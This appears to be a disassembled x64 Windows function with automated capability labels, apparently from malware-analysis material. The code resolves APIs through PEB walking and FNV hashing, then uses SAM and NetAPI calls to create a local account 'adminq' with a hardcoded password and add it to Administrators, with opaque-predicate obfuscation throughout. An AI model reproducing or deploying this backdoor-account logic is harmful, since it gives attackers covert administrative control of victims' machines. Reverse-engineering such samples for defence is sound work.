Function at 0x140001000
Capabilities:
Hash data using fnv
Link many functions at runtime
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x518
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x60], 0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x1b0], xmm0
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmmword [rsp + 0x190], xmm0
mov qword [rsp + 0x58], 0
lea rcx, [rsp + 0x1d0]
mov r8d, 0x13c
xor edx, edx
call fcn.1400023a0
mov r10, qword [0x14001da38]
test r10, r10
jne 0x14000116d
cmp dword [0x14001ed24], 0xa
mov eax, dword [0x14001ed20]
setl cl
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
or al, cl
cmp al, 1
jne 0x1400010af
mov rcx, qword gs:[0x60]
test al, al
jne 0x1400010ba
mov rcx, qword gs:[0x60]
jmp 0x1400010a2
mov r8, qword [rcx + 0x18]
add r8, 0x10
mov ecx, dword [0x14001ed1c]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete dl
cmp dword [0x14001ed18], 0xa
setl cl
or cl, dl
mov edx, dword [0x14001ed14]
lea ebp, [rdx - 1]
imul ebp, edx
test bpl, 1
sete bl
cmp dword [0x14001ed10], 0xa
setl dl
or dl, bl
nop
mov r8, qword [r8]
movzx ebx, word [r8 + 0x58]
shr rbx, 1
test bx, bx
je 0x140001100
mov rbp, qword [r8 + 0x60]
lea r9, [rbx*2]
add r9, rbp
mov ebx, 0x135fc25d
nop word cs:[rax + rax]
nop
test dl, dl
je 0x140001130
test cl, cl
je 0x140001130
movsx esi, byte [rbp]
lea eax, [rsi - 0x41]
mov edi, esi
or edi, 0x20
cmp al, 0x1a
cmovae edi, esi
xor edi, ebx
imul ebx, edi, 0x1000193
add rbp, 2
cmp rbp, r9
jne 0x140001130
cmp ebx, 0x49d7e81b
jne 0x140001100
mov r10, qword [r8 + 0x30]
mov qword [0x14001da38], r10
mov ecx, dword [0x14001ed0c]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete dl
cmp dword [0x14001ed08], 0xa
setl cl
or cl, dl
nop dword [rax + rax]
test cl, cl
je 0x140001190
movsxd rcx, dword [r10 + 0x3c]
mov r8d, dword [r10 + rcx + 0x88]
mov r9d, dword [r10 + r8 + 0x20]
add r9, r10
mov ecx, dword [0x14001ed14]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x14001ed10], 0xa
setl bl
or bl, cl
xor edi, edi
jmp 0x1400011e0
mov ecx, 0x125fc0ca
add edi, 1
cmp ecx, 0xa83dd9ac
je 0x140001234
mov r11d, edi
mov esi, dword [r9 + r11*4]
mov dl, byte [r10 + rsi]
test dl, dl
je 0x1400011d0
add rsi, r10
mov ecx, 0x125fc0ca
nop word [rax + rax]
add rsi, 1
nop word cs:[rax + rax]
nop
test bl, bl
je 0x140001210
movsx edx, dl
lea eax, [rdx - 0x41]
mov ebp, edx
or ebp, 0x20
cmp al, 0x1a
cmovae ebp, edx
xor ebp, ecx
imul ecx, ebp, 0x1000193
mov dl, byte [rsi]
test dl, dl
jne 0x140001200
jmp 0x1400011d5
mov eax, dword [r10 + r8 + 0x1c]
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r10
add rax, r10
movzx ecx, word [rcx + r11*2]
mov ebx, dword [rax + rcx*4]
add rbx, r10
movabs rax, 0x6c642e6c6c64746e
mov qword [rsp + 0x78], rax
mov word [rsp + 0x80], 0x6c
movabs rax, 0x6c6c642e323369
mov qword [rsp + 0xb5], rax
movabs rax, 0x323369706174656e
mov qword [rsp + 0xb0], rax
movabs rax, 0x642e62696c6d6173
mov qword [rsp + 0x98], rax
mov dword [rsp + 0x9f], 0x6c6c64
lea rcx, [rsp + 0x78]
call rbx
mov rdi, rax
lea rcx, [rsp + 0xb0]
call rbx
mov rsi, rax
lea rcx, [rsp + 0x98]
call rbx
mov rbx, rax
movabs rax, 0x656e6e6f436d6153
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x8f], 0x746365
movabs rax, 0x6e69616d6f446e
mov qword [rsp + 0xc6], rax
movabs rcx, 0x446e65704f6d6153
mov qword [rsp + 0xc0], rcx
movaps xmm0, xmmword [str.SamCreateUser2InDomain]
movaps xmmword [rsp + 0x150], xmm0
mov qword [rsp + 0x15f], rax
movaps xmm0, xmmword [str.SamSetInformationUser]
movaps xmmword [rsp + 0x110], xmm0
movabs rax, 0x726573556e6f69
mov qword [rsp + 0x11e], rax
movabs rax, 0x7463656a624f79
mov qword [rsp + 0x13f], rax
movaps xmm0, xmmword [str.SamQuerySecurityObject]
movaps xmmword [rsp + 0x130], xmm0
movabs rax, 0x676e6972745365
mov qword [rsp + 0xfd], rax
movaps xmm0, xmmword [str.RtlInitUnicodeString]
movaps xmmword [rsp + 0xf0], xmm0
movabs rax, 0x737265626d654d
mov qword [rsp + 0x180], rax
movaps xmm0, xmmword [str.NetLocalGroupAddMembers]
movaps xmmword [rsp + 0x170], xmm0
movabs rax, 0x6f666e49746553
mov qword [rsp + 0xd7], rax
movabs rax, 0x537265735574654e
mov qword [rsp + 0xd0], rax
mov rbp, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x88]
mov rcx, rbx
call rbp
mov r13, rax
lea rdx, [rsp + 0xc0]
mov rcx, rbx
call rbp
mov r12, rax
lea rdx, [rsp + 0x150]
mov rcx, rbx
call rbp
mov r15, rax
lea rdx, [rsp + 0x110]
mov rcx, rbx
call rbp
mov r14, rax
lea rdx, [rsp + 0x130]
mov rcx, rbx
call rbp
lea rdx, [rsp + 0xf0]
mov rcx, rdi
call rbp
mov rdi, rax
lea rdx, [rsp + 0x170]
mov rcx, rsi
call rbp
mov rbx, rax
lea rdx, [rsp + 0xd0]
mov rcx, rsi
call rbp
mov rsi, rax
lea rdx, str.adminq
lea rbp, [rsp + 0x1c0]
mov rcx, rbp
call rdi
lea rdx, str.qwer_1234
lea rcx, [rsp + 0xe0]
call rdi
lea rdx, [rsp + 0x70]
xor ecx, ecx
mov r8d, 0x21
xor r9d, r9d
call r13
lea rdx, [rsp + 0x190]
lea r9, [rsp + 0x60]
xor ecx, ecx
mov r8d, 1
call sub.ADVAPI32.dll_LsaOpenPolicy
mov rcx, qword [rsp + 0x60]
lea r8, [rsp + 0x58]
mov edx, 5
call sub.ADVAPI32.dll_LsaQueryInformationPolicy
mov rax, qword [rsp + 0x58]
mov r8, qword [rax + 0x10]
mov rcx, qword [rsp + 0x70]
lea r9, [rsp + 0x68]
mov edx, 0x211
call r12
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xac]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov rdx, rbp
mov r8d, 0x10
mov r9d, 0xf07ff
call r15
test eax, eax
jne 0x14000151d
lea rcx, str.User_Add_Success_r_n
call fcn.140001700
cmp dword [0x14001ed04], 0xa
jl 0x14000153b
mov eax, dword [0x14001ed00]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x14000161a
mov rdx, qword [rsp + 0xe8]
lea rcx, [rsp + 0x2b0]
call rdi
mov byte [rsp + 0x309], 1
or byte [rsp + 0x2ef], 1
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x1d0]
mov edx, 0x15
call r14
lea rdx, [0x1400123f0]
lea rbp, [rsp + 0x310]
mov r8d, 0x200
mov rcx, rbp
call fcn.140002560
mov qword [rsp + 0x48], rbp
mov dword [rsp + 0x20], 1
lea rdx, str.Administrators
lea rbp, [rsp + 0x48]
xor ecx, ecx
mov r8d, 3
mov r9, rbp
call rbx
mov dword [rsp + 0x20], 1
lea rdx, str.Users
xor ecx, ecx
mov r8d, 3
mov r9, rbp
call rbx
mov dword [rsp + 0x40], 1
mov qword [rsp + 0x20], 0
lea rdx, str.adminq1
lea r9, [rsp + 0x40]
xor ecx, ecx
mov r8d, 0x3f0
call rsi
cmp dword [0x14001ed04], 0xa
jl 0x1400016dc
mov eax, dword [0x14001ed00]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1400016dc
mov rdx, qword [rsp + 0xe8]
lea rcx, [rsp + 0x2b0]
call rdi
mov byte [rsp + 0x309], 1
or byte [rsp + 0x2ef], 1
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x1d0]
mov edx, 0x15
call r14
lea rdx, [0x1400123f0]
lea rbp, [rsp + 0x310]
mov r8d, 0x200
mov rcx, rbp
call fcn.140002560
mov qword [rsp + 0x48], rbp
mov dword [rsp + 0x20], 1
lea rdx, str.Administrators
lea rbp, [rsp + 0x48]
xor ecx, ecx
mov r8d, 3
mov r9, rbp
call rbx
mov dword [rsp + 0x20], 1
lea rdx, str.Users
xor ecx, ecx
mov r8d, 3
mov r9, rbp
call rbx
mov dword [rsp + 0x40], 1
mov qword [rsp + 0x20], 0
lea rdx, str.adminq1
lea r9, [rsp + 0x40]
xor ecx, ecx
mov r8d, 0x3f0
call rsi
jmp 0x14000153b
xor eax, eax
add rsp, 0x518
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret